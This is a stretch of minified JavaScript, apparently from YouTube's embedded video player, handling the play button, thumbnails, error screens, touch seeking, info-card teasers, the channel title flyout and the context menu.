X:{d:"M66.52,7.74c-0.78-2.93-2.49-5.41-5.42-6.19C55.79,.13,34,0,34,0S12.21,.13,6.9,1.55 C3.97,2.33,2.27,4.81,1.48,7.74C0.06,13.05,0,24,0,24s0.06,10.95,1.48,16.26c0.78,2.93,2.49,5.41,5.42,6.19 C12.21,47.87,34,48,34,48s21.79-0.13,27.1-1.55c2.93-0.78,4.64-3.26,5.42-6.19C67.94,34.95,68,24,68,24S67.94,13.05,66.52,7.74z",fill:"#212121","fill-opacity":"0.8"}},{L:"path",X:{d:"M 45,24 27,14 27,34",fill:"#fff"}}]}]:T.D?(g.Ic(this.element,"ytp-touch-device",T.Z),T=[T.D?{L:"svg",X:{height:"100%",version:"1.1",
viewBox:"0 0 60 60",width:"100%"},W:[{L:"path",G:"ytp-large-play-button-bg",X:{d:"M30,0A30,30,0,1,0,60,30,30,30,0,0,0,30,0Z",fill:"#1f1f1f"}},{L:"path",X:{d:"M21,41.65V18L43.7,29.85Z",fill:"#fff"}}]}:{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 68 48",width:"100%"},W:[{L:"path",G:"ytp-large-play-button-bg",X:{d:"M66.52,7.74c-0.78-2.93-2.49-5.41-5.42-6.19C55.79,.13,34,0,34,0S12.21,.13,6.9,1.55 C3.97,2.33,2.27,4.81,1.48,7.74C0.06,13.05,0,24,0,24s0.06,10.95,1.48,16.26c0.78,2.93,2.49,5.41,5.42,6.19 C12.21,47.87,34,48,34,48s21.79-0.13,27.1-1.55c2.93-0.78,4.64-3.26,5.42-6.19C67.94,34.95,68,24,68,24S67.94,13.05,66.52,7.74z",
fill:"#212121","fill-opacity":"0.8"}},{L:"path",X:{d:"M 45,24 27,14 27,34",fill:"#fff"}}]}]):T=[{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 68 48",width:"100%"},W:[{L:"path",G:"ytp-large-play-button-bg",X:{d:"M66.52,7.74c-0.78-2.93-2.49-5.41-5.42-6.19C55.79,.13,34,0,34,0S12.21,.13,6.9,1.55 C3.97,2.33,2.27,4.81,1.48,7.74C0.06,13.05,0,24,0,24s0.06,10.95,1.48,16.26c0.78,2.93,2.49,5.41,5.42,6.19 C12.21,47.87,34,48,34,48s21.79-0.13,27.1-1.55c2.93-0.78,4.64-3.26,5.42-6.19C67.94,34.95,68,24,68,24S67.94,13.05,66.52,7.74z",
fill:"#f03"}},{L:"path",X:{d:"M 45,24 27,14 27,34",fill:"#fff"}}]}];this.updateValue("largePlayButtonChildren",T);x.E0&&x.O9&&this.Um("ytp-dni-large-play-button-bg").setAttribute("fill",x.O9?x.O9:"#1f1f1f")};
g.q.show=function(){g.Q.prototype.show.call(this);this.api.Y().B("embeds_web_enable_lite_experiment_control_arm_logging")&&this.api.logVisibility(this.element,!0)};
g.q.Sk=function(){this.api.getVideoData().mutedAutoplay||(this.api.q8(),this.api.playVideo())};
g.q.mz9=function(x){this.api.getVideoData().mutedAutoplay||x.preventDefault()};g.P(g.Q1,g.Q);g.q=g.Q1.prototype;g.q.show=function(){var x=this;this.lN||(this.K.V(this.api,"videodatachange",function(){g.Kt(x.C)}),this.K.V(this.api,"videoplayerreset",function(){g.Kt(x.C)}));
g.Q.prototype.show.call(this)};
g.q.hide=function(){this.K&&g.zx(this.K);g.Q.prototype.hide.call(this)};
g.q.C2=function(){g.Kt(this.C)};
g.q.onStateChange=function(){g.Kt(this.C)};
g.q.Qic=function(){g.Kt(this.C)};
g.q.onReset=function(){this.Z.stop();this.hide();g.Kt(this.C)};
g.q.Nj=function(){var x=this.api.getPlayerStateObject();if(this.api.getPresentingPlayerType()===3&&(x.isPlaying()||x.isPaused()))var T=!0;else(T=this.api.xm().uD.get("ypc"))&&T.QN?T=!0:(T=this.api.Y(),T=g.p(x,2)&&g.bh(this.api)&&T.pF?!0:!1);T?(T=!0,this.j.hide()):this.api.B("web_player_show_frame_zero_when_cued")&&TPm(this)?(T=!0,this.j.hide()):(this.j.show(),T=x.isCued()&&this.api.getPresentingPlayerType()!==2||g.p(x,2)&&!g.bh(this.api)&&!this.api.N5()||g.p(x,1024)?!0:!1);var t=this.api.getVideoData();
T&&!t.Rg?(this.Z.show(),this.Sou(this.api.getPlaylist(),t)):(this.Z.hide(),g.p(x,1)||this.Z.stop())};
g.q.Sou=function(){var x=g.FD.apply(0,arguments),T=this.api.Y(),t,u=(t=this.api.getVideoData())==null?void 0:t.videoId;if(T.B("web_player_show_frame_zero_when_cued")&&u&&TPm(this))var H="https://i.ytimg.com/vi/"+u+"/frame0.jpg";else for(x=g.S(x),t=x.next();!t.done;t=x.next())if(t=t.value,!(!t||t instanceof g.NE&&!t.videoId)){H=this.api.bG().getPlayerSize();var I=g.O0();u=H.width*I;I*=H.height;if(u>1280||I>720)if(H=t.ys("maxresdefault.jpg"))break;if(u>640||I>480)if(H=t.ys("maxresdefault.jpg"))break;
if(u>320||I>180)if(H=t.ys("sddefault.jpg")||t.ys("hqdefault.jpg")||t.ys("mqdefault.jpg"))break;if(H=t.ys("default.jpg"))break}g.K1(T)&&(T=new Image,T.addEventListener("load",function(){TQv()}),T.src=H?H:"",this.api.Vs().tick("ftr"));
this.D.style.backgroundImage=H?"url("+H+")":""};g.P(g.pb,g.Q);g.pb.prototype.resize=function(){};
g.pb.prototype.Z=function(x){var T=this;this.j=!1;sb5(this);var t=x.fh,u=this.api.Y();t!=="GENERIC_WITHOUT_LINK"||u.D?t==="TOO_MANY_REQUESTS"?(u=this.api.getVideoData(),this.Zn(w_(this,"TOO_MANY_REQUESTS_WITH_LINK",u.FA(),void 0,void 0,void 0,!1))):t!=="HTML5_NO_AVAILABLE_FORMATS_FALLBACK"||u.D?this.api.Y().B("html5_enable_bandaid_error_screen")&&t==="HTML5_SPS_UMP_STATUS_REJECTED"&&!u.D?(u=u.hostLanguage,x="//support.google.com/youtube?p=videoError",u&&(x=g.NY(x,{hl:u})),this.Zn(w_(this,"HTML5_SPS_UMP_STATUS_REJECTED",
x))):this.api.Y().B("enable_adb_handling_in_sabr")&&t==="BROWSER_OR_EXTENSION_ERROR"&&!u.D?(u=u.hostLanguage,x="//support.google.com/youtube/answer/3037019#zippy=%2Cupdate-your-browser-and-check-your-extensions",u&&(x=g.NY(x,{hl:u})),this.Zn(w_(this,"BROWSER_OR_EXTENSION_ERROR",x))):this.Zn(g.OZ(x.errorMessage)):this.Zn(w_(this,"HTML5_NO_AVAILABLE_FORMATS_FALLBACK_WITH_LINK_SHORT","//www.youtube.com/supported_browsers")):(x=u.hostLanguage,t="//support.google.com/youtube/?p=player_error1",x&&(t=g.NY(t,
{hl:x})),this.Zn(w_(this,"GENERIC_WITH_LINK_AND_CPN",t,!0)),u.L2&&!u.K&&t2D(this,function(I){if(g.sz(I,T.api,!QZ(T.api.Y()))){I={as3:!1,html5:!0,player:!0,cpn:T.api.getVideoData().clientPlaybackNonce};var E=T.api;E.jD("onFeedbackArticleRequest",{articleId:3037019,helpContext:"player_error",productData:I});E.isFullscreen()&&E.toggleFullscreen()}}));
if(this.j){var H=this.Um("ytp-error-link");H&&(this.api.createClientVe(H,this,216104),this.api.logVisibility(H,!0),t2D(this,function(){T.api.logClick(H)}))}};
var oR4=/<a\s+href=["']([^"']+)["'](?:\s+target=["']([^"']+)["'])?>([^<>]+)<\/a>/;g.P(uyf,g.Q);g.q=uyf.prototype;g.q.onClick=function(x){this.innertubeCommand?(this.U.XW("innertubeCommand",this.innertubeCommand),x.preventDefault()):g.sz(x,this.U,!0);this.U.logClick(this.element)};
g.q.onVideoDataChange=function(x,T){H64(this,T);this.Zx&&i6D(this,this.Zx)};
g.q.jM=function(x){var T=this.U.getVideoData();this.videoId!==T.videoId&&H64(this,T);this.C&&i6D(this,x.state);this.Zx=x.state};
g.q.tq=function(){this.K.show();this.U.publish("paidcontentoverlayvisibilitychange",!0);this.U.logVisibility(this.element,!0)};
g.q.nz=function(){this.K.hide();this.U.publish("paidcontentoverlayvisibilitychange",!1);this.U.logVisibility(this.element,!1)};g.P(Kb,g.Q);Kb.prototype.hide=function(){this.C.stop();this.message.style.display="none";g.Q.prototype.hide.call(this)};
Kb.prototype.onStateChange=function(x){this.vk(x.state)};
Kb.prototype.vk=function(x){(g.p(x,128)||this.api.Rl()?0:g.p(x,16)||g.p(x,1))?this.C.start():this.hide()};
Kb.prototype.Z=function(){this.message.style.display="block"};g.P(XC,g.BF);XC.prototype.onMutedAutoplayChange=function(x){this.j&&(x?(IUH(this),this.tq()):(this.C&&this.logClick(),this.nz()))};
XC.prototype.Ot=function(x){this.api.isMutedByMutedAutoplay()&&g.j1(x,2)&&this.nz()};
XC.prototype.onClick=function(){this.api.unMute();this.logClick()};
XC.prototype.logClick=function(){this.clicked||(this.clicked=!0,this.api.logClick(this.element))};g.P(g.x6,g.nj);g.q=g.x6.prototype;g.q.init=function(){var x=this.api,T=x.getPlayerStateObject();this.AO=x.getPlayerSize();this.QF(T);this.G5();this.C2();this.api.publish("basechromeinitialized",this);this.rU()&&this.api.publish("standardControlsInitialized")};
g.q.onVideoDataChange=function(x,T){var t=this.AT!==T.videoId;if(t||x==="newdata"){x=this.api;x.isFullscreen()||(this.AO=x.getPlayerSize());var u;((u=this.api.getVideoData(1))==null?0:g.pB(u))&&this.F0()}t&&(this.AT=T.videoId,t=this.vU,t.Hv=3E3,Np(t,512,!0),this.G5());this.api.B("web_render_jump_buttons")&&T.showSeekingControls&&(this.TD=572)};
g.q.CIv=function(){this.onVideoDataChange("newdata",this.api.getVideoData())};
g.q.w5=function(){var x=this.api.oF()&&this.api.oX(),T=this.api.Lc();return this.E4||x||this.a6||T};
g.q.F0=function(){var x=!this.w5();g.Ic(this.api.getRootNode(),"ytp-menu-shown",!x);var T;((T=this.api.getVideoData(1))==null?0:g.pB(T))&&g.Ic(this.api.getRootNode(),"ytp-hide-controls",!x)};
g.q.uJ=function(x){try{if(!g.ux(this.api.getRootNode(),x))return!1}catch(T){return!1}for(;x&&!HUf(x);)x=x===this.api.getRootNode()?null:x.parentElement||null;return!!x};
g.q.WJ=function(x){var T=this.api.getRootNode();g.Ic(T,"ytp-autohide",x);g.Ic(T,"ytp-autohide-active",!0);this.Z7.start(x?250:100);x&&(this.Ys=!1,g.H$(T,"ytp-touch-mode"));this.kh=!x;this.api.Pe(!x)};
g.q.Uy=function(){var x=this.api.getRootNode();g.Ic(x,"ytp-autohide-active",!1)};
g.q.Fa7=function(){this.oV=!0};
g.q.qYu=function(x){if(this.api.Y().B("player_doubletap_to_seek")||this.api.Y().J)this.oV=!1,this.zW&&this.f2(this.zW),this.kD===0&&oK(this,x)?(this.W8(),this.nS.start(),this.zW=this.V(this.api.bG(),"touchmove",this.Fa7,void 0,!0)):this.nS.stop();jbq(this)&&oK(this,x)&&!this.api.Y().J&&qJq(this);var T=this.Pu.rE();if(!g.zw(this.api.Y())&&U0&&e8H(this,x))T&&x.preventDefault();else if(this.Ys=!0,g.uY(this.api.getRootNode(),"ytp-touch-mode"),this.vU.rf(),this.api.Y().B("player_doubletap_to_seek")||this.api.Y().J)if(T=
this.api.getPlayerStateObject(),!(!this.api.hp()||g.p(T,2)&&g.bh(this.api)||g.p(T,64))){T=Date.now()-this.Lg;this.kD+=1;if(T<=350){this.KW=!0;T=this.api.getPlayerSize().width/3;var t=this.api.getRootNode().getBoundingClientRect(),u=x.targetTouches[0].clientX-t.left;t=x.targetTouches[0].clientY-t.top;var H=(this.kD-1)*10;u>0&&u<T?(this.Wp(-1,u,t,H),this.api.seekBy(-10*this.api.getPlaybackRate())):u>T*2&&u<T*3&&(this.Wp(1,u,t,H),this.api.seekBy(10*this.api.getPlaybackRate()));x.preventDefault()}else Jk&&
this.api.Y().J&&oK(this,x)&&x.preventDefault();this.Lg=Date.now();this.YU.start()}};
g.q.cov=function(){this.Bo.Se=!1;this.api.publish("rootnodemousedown",this.Bo)};
g.q.fnU=function(x){if(this.api.Y().B("web_fix_fine_scrubbing_false_play")){if(e8H(this,x)||this.Bo.Se)return}else if(this.Bo.Se||e8H(this,x))return;jbq(this)||!oK(this,x)||this.nS.isActive()||(qJq(this),x.preventDefault());this.KW&&(this.KW=!1)};
g.q.W8=function(){};
g.q.Q4=function(){};
g.q.Wp=function(){};
g.q.renderChapterSeekingAnimation=function(){};
g.q.Q3=function(){var x=this.api.getPlayerStateObject();g.p(x,2)&&g.bh(this.api)||(x.isOrWillBePlaying()?this.api.pauseVideo():(this.YK&&(x.isCued()||g.p(x,1024))&&!this.api.Y().B("embeds_play_button_state_check_ks")&&this.api.publish("largeplaybuttonclicked",this.YK.j.element),this.api.q8(),this.api.playVideo(),this.YK&&document.activeElement===this.YK.j.element&&((x=this.rU())==null?x=0:x.playButton?(x.playButton.focus(),x=!0):x=!1,x||this.api.getRootNode().focus())))};
g.q.n6W=function(x){var T=this,t=this.api.getPresentingPlayerType();if(!Z6J(this,Yi(x)))if(x=this.api.Y(),(this.api.Y().B("player_doubletap_to_seek")||this.api.Y().J)&&this.KW)this.KW=!1;else if(x.hM&&t!==3)try{this.api.toggleFullscreen().catch(function(u){T.LO(u)}),this.api.B("web_player_fullscreen_double_click_ve")&&this.api.logClick(this.api.bG().element)}catch(u){this.LO(u)}};
g.q.LO=function(x){String(x).includes("fullscreen error")?g.Vh(x):g.vW(x)};
g.q.g6Y=function(x){lU5(this,.3,x.scale);x.preventDefault()};
g.q.BbW=function(x){lU5(this,.1,x.scale)};
g.q.C2=function(){var x=this.api.bG().getPlayerSize(),T=this.api.getRootNode(),t=x.width>=650;this.vU.resize();g.Ic(T,"ytp-fullscreen",this.api.isFullscreen());g.Ic(T,"ytp-large-width-mode",t);g.Ic(T,"ytp-small-mode",this.zV());g.Ic(T,"ytp-tiny-mode",this.e9());g.Ic(T,"ytp-big-mode",this.ew());this.Ft&&this.Ft.resize(x)};
g.q.Ot=function(x){this.QF(x.state);this.G5()};
g.q.cI=oV(5);g.q.jL=function(){var x=!!this.AT&&!this.api.bD()&&!this.UV,T=this.api.getPresentingPlayerType()===2,t=this.api.Y();if(T){if(XJf&&t.B("enable_visit_advertiser_support_on_ipad_mweb"))return!1;T=g_(this.api.xm());x&&(T&&T.player?x=(x=T.player.getVideoData(2))?x.isListed&&!g.Yv(T.player.Y()):!1:(E3("showInfoBarDuringAd: this is null"),x=!1));return x}return x&&(t.OC||this.api.isFullscreen()||t.vE)};
g.q.G5=function(){var x=this.jL();this.Zl!==x&&(this.Zl=x,g.Ic(this.api.getRootNode(),"ytp-hide-info-bar",!x))};
g.q.QF=function(x){var T=x.isCued()||this.api.A7()&&this.api.getPresentingPlayerType()!==3;T!==this.isCued&&(this.isCued=T,this.L3&&this.f2(this.L3),this.L3=this.V(this.api.bG(),"touchstart",this.qYu,void 0,T));var t=this.vU,u=x.isPlaying()&&!g.p(x,32)||this.api.MS();Np(t,128,!u);t=this.vU;u=this.api.getPresentingPlayerType()===3;Np(t,256,u);t=this.api.getRootNode();g.p(x,2)?u=[Ju.ENDED]:(u=[],g.p(x,8)?u.push(Ju.PLAYING):g.p(x,4)&&u.push(Ju.PAUSED),g.p(x,1)&&!g.p(x,32)&&u.push(Ju.BUFFERING),g.p(x,
32)&&u.push(Ju.SEEKING),g.p(x,64)&&u.push(Ju.UNSTARTED));g.qv(this.jz,u)||(g.iY(t,this.jz),this.jz=u,g.$P(t,u));u=this.api.Y();var H=g.p(x,2);a:{var I=this.api.Y();var E=I.controlsType;switch(E){case "2":case "0":I=!1;break a}I=E==="3"&&!g.p(x,2)||this.isCued||(this.api.getPresentingPlayerType()!==2?0:LTi(g_(this.api.xm())))||this.api.Lc()||g.zw(I)&&this.api.getPresentingPlayerType()===2?!1:!0}g.Ic(t,"ytp-hide-controls",!I);g.Ic(t,"ytp-native-controls",u.controlsType==="3"&&!T&&!H&&!this.a6);g.p(x,
128)&&!g.zw(u)?(this.Ft||(this.Ft=new g.pb(this.api),g.y(this,this.Ft),g.V$(this.api,this.Ft.element,4)),this.Ft.Z(x.Eo),this.Ft.show()):this.Ft&&(this.Ft.dispose(),this.Ft=null)};
g.q.dG=function(){return this.api.oF()&&this.api.oX()?(this.api.nH(!1,!1),!0):this.api.bD()?(g.rh(this.api,!0),!0):!1};
g.q.onMutedAutoplayChange=function(x){this.a6=x;this.F0()};
g.q.ew=function(){return!1};
g.q.zV=function(){return!this.ew()&&(this.api.getPlayerSize().width<this.TD||this.api.getPlayerSize().height<290)};
g.q.e9=function(){return this.zV()&&(this.api.getPlayerSize().width<240||this.api.getPlayerSize().height<140)};
g.q.mZ=function(){return this.Ys};
g.q.cw=function(){return null};
g.q.Ml=function(){return null};
g.q.Ny=function(){var x=this.api.bG().getPlayerSize();return new g.Hf(0,0,x.width,x.height)};
g.q.handleGlobalKeyDown=function(){return!1};
g.q.handleGlobalKeyUp=function(){return!1};
g.q.hf=function(){};
g.q.showControls=function(x){x!==void 0&&this.api.bG().Pe(x)};
g.q.rf=function(){};
g.q.rU=function(){return null};g.P(tD,g.$B);g.q=tD.prototype;g.q.Xv=function(){return 1E3*this.api.getDuration(this.wR,!1)};
g.q.stop=function(){this.C&&this.uI.f2(this.C)};
g.q.Bk=function(){var x=this.api.getProgressState(this.wR);this.Z={seekableStart:x.seekableStart,seekableEnd:x.seekableEnd,current:this.api.getCurrentTime(this.wR,!1)};this.publish("h")};
g.q.getProgressState=function(){return this.Z};
g.q.K6=function(x){g.j1(x,2)&&this.publish("g")};g.P(g.sl,g.Q);g.sl.prototype.show=function(){g.Q.prototype.show.call(this);g.Kt(this.C)};
g.sl.prototype.hide=function(){this.Z.stop();g.Q.prototype.hide.call(this)};
g.sl.prototype.Q4=function(x){x?g.p(this.U.getPlayerStateObject(),64)||ui(this,YB(),"Play"):(x=this.U.getVideoData(),x.isLivePlayback&&!x.allowLiveDvr?ui(this,FPX(),"Stop live playback"):ui(this,bM5(),"Pause"))};g.P(M23,g.Q);g.q=M23.prototype;g.q.l7=function(x){x?this.C=cF(this.U,this.element,null):(this.C=this.C,this.C(),this.C=null)};
g.q.tq=function(){this.U.Y().B("player_new_info_card_format")&&g.sR(this.U.getRootNode(),"ytp-cards-teaser-shown")&&!g.zw(this.U.Y())||(this.Z.show(),g.Hz("iv-button-shown"))};
g.q.nz=function(){g.Hz("iv-button-hidden");this.Z.hide()};
g.q.rE=function(){return this.lN&&this.Z.state!==4};
g.q.oU=function(){this.C&&this.C();g.Q.prototype.oU.call(this)};
g.q.fkm=function(){g.Hz("iv-button-mouseover")};
g.q.onClicked=function(x){this.U.oF();var T=g.sR(this.U.getRootNode(),"ytp-cards-teaser-shown");g.Hz("iv-teaser-clicked",T);var t;if((t=this.U.getVideoData())==null?0:g.vV(t)){var u;x=(u=this.U.getVideoData())==null?void 0:g.Vs(u);(x==null?0:x.onIconTapCommand)&&this.U.XW("innertubeCommand",x.onIconTapCommand)}else u=x.screenX===0&&x.screenY===0,this.U.nH(!this.U.oX(),u,"YOUTUBE_DRAWER_MANUAL_OPEN")};g.P(Ao4,g.Q);g.q=Ao4.prototype;g.q.Q2=function(){this.U.oF()&&this.U.oX()&&this.rE()&&this.nz()};
g.q.Sj=function(){this.nz();!this.U.oF()&&this.U.Y().B("enable_error_corrections_infocards_icon_web")&&this.Oo.nz();g.Hz("iv-teaser-clicked",this.C!=null);if(this.onClickCommand)this.U.XW("innertubeCommand",this.onClickCommand);else{var x;((x=this.U.getVideoData())==null?0:g.vV(x))||this.U.nH(!0,!1,"YOUTUBE_DRAWER_MANUAL_OPEN")}};
g.q.ox=function(){g.Hz("iv-teaser-mouseover");this.C&&this.C.stop()};
g.q.k3y=function(x){this.U.Y().B("player_new_info_card_format")&&!g.zw(this.U.Y())?this.Oo.nz():this.U.Y().B("enable_error_corrections_infocards_icon_web")&&this.Oo.tq();this.C||!x||this.U.oX()||this.Z&&this.Z.isActive()||(this.tq(x),g.Hz("iv-teaser-shown"))};
g.q.tq=function(x){this.onClickCommand=x.onClickCommand;this.updateValue("text",x.teaserText);this.element.setAttribute("dir",g.lY(x.teaserText));this.K.show();this.Z=new g.wX(function(){g.uY(this.U.getRootNode(),"ytp-cards-teaser-shown");this.U.B("player_new_info_card_format")&&!g.zw(this.U.Y())&&this.Oo.nz();this.pM()},0,this);
this.Z.start();this.Oo.l7(!1);this.C=new g.wX(this.nz,580+x.durationMs,this);this.C.start();this.D.push(this.listen("mouseover",this.Xp,this));this.D.push(this.listen("mouseout",this.WF,this))};
g.q.pM=function(){if(!this.U.Y().B("player_new_info_card_format")&&g.zw(this.U.Y())&&this.lN){var x=this.Oo.element.offsetLeft,T=g.Q9("ytp-cards-button-icon"),t=this.U.isFullscreen()?54:36;if(T){var u=x+T.offsetLeft;this.element.style.marginRight=this.Oo.element.offsetParent.offsetWidth-x-T.offsetLeft-t+"px";this.element.style.marginLeft=u+"px"}}};
g.q.wC=function(){g.zw(this.U.Y())&&this.U.zV()&&this.lN&&this.S.start()};
g.q.Xp=function(){this.N.stop();this.C&&this.C.isActive()&&this.J.start()};
g.q.WF=function(){this.J.stop();this.C&&!this.C.isActive()&&this.N.start()};
g.q.YFY=function(){this.C&&this.C.stop()};
g.q.Vgj=function(){this.nz()};
g.q.dS=function(){this.nz()};
g.q.nz=function(){!this.C||this.j&&this.j.isActive()||(g.Hz("iv-teaser-hidden"),this.K.hide(),g.H$(this.U.getRootNode(),"ytp-cards-teaser-shown"),this.j=new g.wX(function(){for(var x=g.S(this.D),T=x.next();!T.done;T=x.next())this.f2(T.value);this.D=[];this.C&&(this.C.dispose(),this.C=null);this.Oo.l7(!0);!this.U.oF()&&this.U.Y().B("enable_error_corrections_infocards_icon_web")&&this.Oo.nz()},330,this),this.j.start())};
g.q.rE=function(){return this.lN&&this.K.state!==4};
g.q.oU=function(){var x=this.U.getRootNode();x&&g.H$(x,"ytp-cards-teaser-shown");g.Eh(this.Z,this.j,this.C);g.Q.prototype.oU.call(this)};var Yk={},H7=(Yk.BUTTON="ytp-button",Yk.TITLE_NOTIFICATIONS="ytp-title-notifications",Yk.TITLE_NOTIFICATIONS_ON="ytp-title-notifications-on",Yk.TITLE_NOTIFICATIONS_OFF="ytp-title-notifications-off",Yk.NOTIFICATIONS_ENABLED="ytp-notifications-enabled",Yk);g.P(R8V,g.Q);R8V.prototype.onClick=function(){this.api.logClick(this.element);var x=!this.C;this.updateValue("label",x?"Stop getting notified about every new video":"Get notified about every new video");this.updateValue("pressed",x);Psv(this,x)};g.DC("yt.pubsub.publish",g.Hz);g.P(g.ii,g.Q);g.ii.prototype.K=function(){window.location.reload()};
g.ii.prototype.C=function(){g.uY(this.element,"ytp-sb-subscribed")};
g.ii.prototype.Z=function(){g.H$(this.element,"ytp-sb-subscribed")};g.P(b6X,g.Q);g.q=b6X.prototype;g.q.ksj=function(x){this.api.logClick(this.Z);var T=this.api.Y();T.Z||T.G9?FBm(this)&&(this.isExpanded()?this.pG():this.gX()):g.aI(window,U1f(this));x.preventDefault()};
g.q.aS=function(){kDf(this);this.channel.classList.remove("ytp-title-expanded")};
g.q.isExpanded=function(){return this.channel.classList.contains("ytp-title-expanded")};
g.q.gX=function(){if(FBm(this)&&!this.isExpanded()){this.updateValue("flyoutUnfocusable","false");this.updateValue("channelTitleFocusable","0");this.updateValue("shouldHideExpandedTitleForA11y","false");this.updateValue("shouldHideExpandedSubtitleForA11y","false");this.j&&this.j.stop();this.api.logVisibility(this.channelName,!0);this.subscribeButton&&(this.subscribeButton.show(),this.api.logVisibility(this.subscribeButton.element,!0));var x=this.api.getVideoData();this.C&&x.UG&&x.subscribed&&(this.C.show(),
this.api.logVisibility(this.C.element,!0));this.channel.classList.add("ytp-title-expanded");this.channel.classList.add("ytp-title-show-expanded")}};
g.q.pG=function(){this.updateValue("flyoutUnfocusable","true");this.updateValue("channelTitleFocusable","-1");this.updateValue("shouldHideExpandedTitleForA11y","true");this.updateValue("shouldHideExpandedSubtitleForA11y","true");this.j&&this.j.start()};
g.q.Nj=function(){var x=this.api.Y();this.ou(!this.api.isEmbedsShortsMode());var T=this.api.getVideoData(),t=this.api.Y(),u=this.api.getVideoData();this.K=!1;var H=!!u.videoId&&!!u.hM&&!!u.profilePicture;this.api.getPresentingPlayerType()===2?this.K=H&&!!u.isListed&&!!u.author:g.zw(t)&&(this.K=H&&!g.Tt(u)&&!t.j&&!(t.J&&this.api.getPlayerSize().width<200));t=T.profilePicture;x=g.zw(x)?T.expandedTitle:T.author;t=t===void 0?"":t;x=x===void 0?"":x;this.K?(this.N!==t&&(this.Z.style.backgroundImage="url("+
t+")",this.N=t),this.updateValue("channelLogoLabel",g.MA("Photo image of $CHANNEL_NAME",{CHANNEL_NAME:x})),g.uY(this.api.getRootNode(),"ytp-title-enable-channel-logo")):g.H$(this.api.getRootNode(),"ytp-title-enable-channel-logo");this.api.logVisibility(this.Z,this.K&&this.T);this.subscribeButton&&(this.subscribeButton.channelId=T.dP);this.updateValue("expandedTitle",T.expandedTitle);this.updateValue("expandedSubtitle",T.expandedSubtitle)};
g.q.JM=function(x){g.Q.prototype.JM.call(this,x);this.api.logVisibility(this.Z,this.K&&x)};g.P(IK,g.JW);IK.prototype.C=function(x){x.defaultPrevented||x.keyCode!==39||(this.element.click(),x.preventDefault())};g.P(h8v,g.Q);g.q=h8v.prototype;g.q.show=function(){g.Q.prototype.show.call(this);this.element.tabIndex=0;this.element.focus();this.updateValue("userInfoFocusable","0");this.updateValue("userInfoFocusable2","0")};
g.q.hide=function(){g.Q.prototype.hide.call(this);this.updateValue("userInfoFocusable","-1");this.updateValue("userInfoFocusable2","-1")};
g.q.L6=function(x){var T=Yi(x),t=g.ux(this.closeButton.element,T),u=g.ux(this.element,T);x=this.C&&g.ux(this.C,T)&&g.cu(x);T&&(u||x)&&!t||this.hide()};
g.q.xd=function(){coX(g.JF(this.qj.Y()),"user_info_panel",function(){window.location.reload()})};
g.q.Nj=function(){var x=this.qj.Y(),T={USER_NAME:x.userDisplayName,USER_EMAIL:x.Xt};this.updateValue("icon",rSD());this.updateValue("watchingAsUsername",g.MA("Watching as $USER_NAME",T));x.Xt?this.updateValue("watchingAsEmail",g.MA("($USER_EMAIL)",T)):this.updateValue("watchingAsEmail","")};g.P(V23,g.Wk);g.q=V23.prototype;g.q.Jc=function(){this.If.nz()};
g.q.oPU=function(){Hw(this.zj.element)};
g.q.hnY=function(){qm(this,this.U.getDebugText(!0))&&ui(this.Y6,mo())};
g.q.rqv=function(){qm(this,this.U.getVideoEmbedCode())&&ui(this.Y6,MDJ());this.U.logClick(this.Wh.element);n2("EMBED",this.U.getVideoData().videoId,this.U.getPlaylistId()||"")};
g.q.Mg7=function(){qm(this,this.U.getVideoUrl(!0,!0))&&ui(this.Y6,R4());this.U.logClick(this.getVideoUrl.element);n2("COPY_PASTE",this.U.getVideoData().videoId,this.U.getPlaylistId()||"")};
g.q.RnQ=function(){qm(this,this.U.getVideoUrl(!1,!0))&&ui(this.Y6,R4());this.U.logClick(this.by.element);n2("COPY_PASTE",this.U.getVideoData().videoId,this.U.getPlaylistId()||"")};
g.q.onLoopChange=function(x){var T;(T=this.J7)==null||tU(T,x)};
g.q.FRj=function(){this.U.setLoopVideo(this.J7.getValue());this.If.nz();this.U.logClick(this.J7.element)};
g.q.hLv=function(x){this.U.reportPlaybackIssue();if(g.sz(x,this.U,!QZ(this.U.Y()))){x=this.U;var T=x.app.getFeedbackProductData();x.jD("onFeedbackStartRequest",T);x.isFullscreen()&&x.toggleFullscreen()}this.If.nz()};
g.q.anj=function(){g.ET(this.U,"isVideoInfoVisible",[])?g.ET(this.U,"hideVideoInfo",[]):g.ET(this.U,"showVideoInfo",[]);this.If.nz()};
g.q.eLW=function(){this.En&&(this.i7||(this.i7=new h8v(this.U,this.En.element),g.y(this,this.i7),g.V$(this.U,this.i7.element,4)),this.i7.show(),this.If.nz(),this.U.logClick(this.En.element))};
g.q.onVideoDataChange=function(x,T){this.IK(T)};
g.q.IK=function(x){var T=this.U.Y(),t=this.U.getPresentingPlayerType()===2,u=!t||x.isListed;u=!T.jY&&!!x.videoId&&u;T.playerStyle!=="play"?T="https://support.google.com/youtube/?p=report_playback":(T={contact_type:"playbackissue",html5:1,ei:x.eventId,v:x.videoId,p:"movies_playback"},x.Z&&(T.fmt=x.Z.itag),x.clientPlaybackNonce&&(T.cpn=x.clientPlaybackNonce),x.partnerId&&(T.partnerid=x.partnerId),T=g.NY("//support.google.com/googleplay/",T));this.Wh.ou(u&&x.allowEmbed);this.getVideoUrl.ou(u);this.by.ou(u&&
!x.isLivePlayback);this.Xb.Zn(T,"href");var H;(H=this.J7)==null||H.ou(!x.isLivePlayback&&!t);var I;(I=this.En)==null||I.ou(!t)};
g.q.JM=function(x){g.Wk.prototype.JM.call(this,x);this.U.logVisibility(this.Wh.element,x);this.U.logVisibility(this.getVideoUrl.element,x);this.U.logVisibility(this.by.element,x);this.J7&&this.U.logVisibility(this.J7.element,x);this.En&&this.U.logVisibility(this.En.element,x)};g.P(nR4,g.yY);g.q=nR4.prototype;g.q.UX=function(x){var T=Yi(x);if(!(T&&(ix(T,"a")||ix(T,null,"ytp-no-contextmenu"))||this.lN)){var t;this.uG=(x=(t=x.touches)==null?void 0:t.item(0))?new g.jo(x.clientX,x.clientY):new g.jo(0,0);this.jY.start()}};
g.q.tW=function(){this.jY.stop()};
g.q.z4m=function(){this.open(this.uG)};
g.q.DA=function(){if(this.j&&GDi(this.j)){var x=GDi(this.j).element;x.tabIndex=-1;x.focus()}else this.element.tabIndex=-1,this.element.focus()};
g.q.show=function(){this.j||(this.j=new V23(this.U,this,this.Y6),g.y(this,this.j),g.N3(this,this.j));this.j.onLoopChange(this.U.getLoopVideo());g.yY.prototype.show.call(this);this.U.logVisibility(this.element,!0);this.j.JM(!0)};
